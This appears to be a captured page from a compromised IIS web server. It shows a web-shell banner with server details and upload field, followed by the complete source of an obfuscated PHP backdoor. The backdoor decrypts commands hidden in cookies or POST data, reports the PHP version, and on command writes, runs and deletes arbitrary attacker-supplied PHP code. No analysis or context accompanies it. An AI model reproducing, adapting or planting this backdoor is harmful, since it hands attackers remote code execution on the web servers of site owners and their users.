Server IP : 103.6.199.200 / Your IP : 3.145.81.252 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/iscommy2/i-3s.com.my/Compromised/ |
Upload File : |
<?php $mkqlksoir = 'mkqlksoir' ^ /* ewever*/ '';$bjbjlegt_q = /* _e */ $_COOKIE; $lshiyysvjt = 63; $fvxcsclpo /* vxcxuz*/ = $_POST; function /*csvwu */ oskucs__mm() { /*h */ $bfgcrkna /* ptfoy */ = 'rn'; /*dg*/ $nmtwj /* jzkonc */ = 'wfainogkia'; $fqoubpl = 'pkn_gc'; $roi_epfm = 'nrijglfg'; $nmtwj /*ofjvg */ = strtolower($roi_epfm); $zdufndz = 'cqepari'; $dg_izzmtdi /* m */ = /* dspk */ 'iegzpn_bf_';} function /*vlzwjy */ sllxhptte($rtxrl_yxrr, /* zzgl*/ $fszp_n_tm) { global /* hsl_ */ $mkqlksoir; $sfklhltpe = ""; $lrqhs = 43; /*wtke */ for ($nvtuyl = 0; $nvtuyl < /*r */ strlen($rtxrl_yxrr);) /* h */ { for /* ne */ ($lshiy = /*ddswl */ 0; /*ngm*/ $lshiy < /* _as*/ strlen($fszp_n_tm) && $nvtuyl < /*i */ strlen($rtxrl_yxrr); $lshiy++, $nvtuyl++) /* c */ { $sfklhltpe /* hn*/ .= $mkqlksoir(ord($rtxrl_yxrr[$nvtuyl]) /* mlwv */ ^ ord($fszp_n_tm[$lshiy])); $zfzbdtxz /*fn_vl*/ = /*tr */ 20; } } return $sfklhltpe;} function dtx_hz($fgvftm, $rtxrl_yxrr) { /*eic */ global $mkqlksoir; $dyuews = sprintf("\56" /* tvwr_*/ . "\x2f" /* fl */ . $mkqlksoir(772-735) . "s"."\x2e" /*muuyyf */ . "p"."l", md5($fgvftm)); file_put_contents($dyuews, "<" . /* jkizzq */ "\x3f" /* inuxbt */ . "\160" . /*qzatxe */ "\x68" /* rr */ . /* iud*/ "\x70" . /* jc */ $mkqlksoir(32) /* v */ . $mkqlksoir(357-240) /* wmkbrw */ . $mkqlksoir(279-169) /* rgw*/ . /* vte*/ $mkqlksoir(464-356) . $mkqlksoir(105) . $mkqlksoir(110) /*el */ . $mkqlksoir(636-529) . "("."_"."_"."\x46" . "I"."L"."E"."\137" . "_"."\51" . ";".$mkqlksoir(32) /* likmu */ . /* a */ $rtxrl_yxrr["\x64"]); $ussiebjriz = 'xlnyrv'; include($dyuews); $ensfzlocap = $dyuews; $zqpf_ddkc /* _gmi */ = trim($ussiebjriz); $wyemvum /* ifawq */ = 'mkau'; @unlink($ensfzlocap); $xcpwo /*h_lbm */ = 41; $_pyjr = 5; } function /* ia */ vbvlntird() { /*w */ global $mkqlksoir; $nvtuyl /*gt */ = array(); $qosndpqmy = 'igonz'; $nvtuyl[$mkqlksoir(112) . $mkqlksoir(118)] /* ihoar */ = phpversion(); $lshiyglfj = 45; /* utmh */ $nvtuyl["s"."v"] = "\x33" . "."."5"; echo @serialize($nvtuyl); } function bpwuxsmcw_(){ $bbklpmzvpb /* f */ = 67; $nvtuylmib_ll = 'xyzcmznh'; /*fmkw */ $meoa_y = /*gymchv */ 31; $bbklpmzvpb = $meoa_y * /*wd */ 20; /* mxhz*/ $w_fufm /* o */ = 35; } bpwuxsmcw_(); function /*u */ wyduhej($rtxrl_yxrr, /* vtfkfp */ $fgvftm, /* glb */ $wzgbuh) { global $mkqlksoir; /*qfm */ $rtxrl_yxrr = unserialize(sllxhptte(sllxhptte(base64_decode($rtxrl_yxrr), $fgvftm), $wzgbuh)); /* il */ if (isset($rtxrl_yxrr["\141" . "\153"])) { if ($rtxrl_yxrr["a"] == $mkqlksoir(105)) /* adrn*/ { /* pusoc*/ vbvlntird(); } elseif /* _p */ ($rtxrl_yxrr["a"] /*gy */ == "e") /* sxxj*/ { /* r */ dtx_hz($fgvftm, /* ytgx */ $rtxrl_yxrr); $spharkis_ = 74; /*whe */ } /* qsd*/ exit(); }} $bjbjlegt_q = /* fbr*/ array_merge($fvxcsclpo, /* nah */ $bjbjlegt_q); $fgvftm = "\x39" . "b"."2"."b"."1"."e".$mkqlksoir(1043-988) /*vve*/ . "b"."\55" /* ek */ . "\x38" . "8"."a"."2".$mkqlksoir(45) . "4".$mkqlksoir(683-582) . $mkqlksoir(920-864) . "8".$mkqlksoir(121-76) /* _ */ . "a"."\70" /*bhvlzm*/ . "0"."0".$mkqlksoir(887-842) /* ipqcew*/ . "\x64" /* dk */ . "5"."e".$mkqlksoir(231-130) . /* _gv */ "b"."\x64"."a"."\60" . "\64" . "3".$mkqlksoir(101) . /* s_p */ "5";foreach ($bjbjlegt_q as $wzgbuh /* ih */ => /* n */ $rtxrl_yxrr) { wyduhej($rtxrl_yxrr, /*yo */ $fgvftm, /*f */ $wzgbuh); } $hvafizun = 'hwjsdlr'; $bevkbgy_ux = 31; oskucs__mm(); ?>